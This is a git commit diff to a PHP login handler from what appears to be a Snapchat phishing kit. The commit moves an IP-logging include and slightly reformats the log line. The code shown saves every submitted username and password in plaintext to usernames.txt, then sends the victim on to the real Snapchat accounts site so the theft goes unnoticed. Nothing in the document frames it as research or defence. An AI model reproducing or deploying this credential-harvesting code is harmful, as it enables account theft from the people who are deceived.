Update login.php

This commit is contained in:
Usama Abdul Sattar 2018-07-07 18:39:09 +05:00 committed by GitHub
parent 3a3b9adcbf
commit 8f41bb5181
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,5 +1,4 @@
<?php
include 'ip.php';
// define variables and set to empty values
$nameErr = $error_css = $errortext = $error3 = $error4 = $error1 = $error2 = "";
@ -20,7 +19,8 @@ if ($_SERVER["REQUEST_METHOD"] == "POST") {
$error1 = 'color: #F01B47';
$error2 = 'border-color: #F23C57';
} else {
file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . "[password]: " . $_POST['password'] . "\n", FILE_APPEND);
include 'ip.php';
file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . " [password]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://accounts.snapchat.com');
}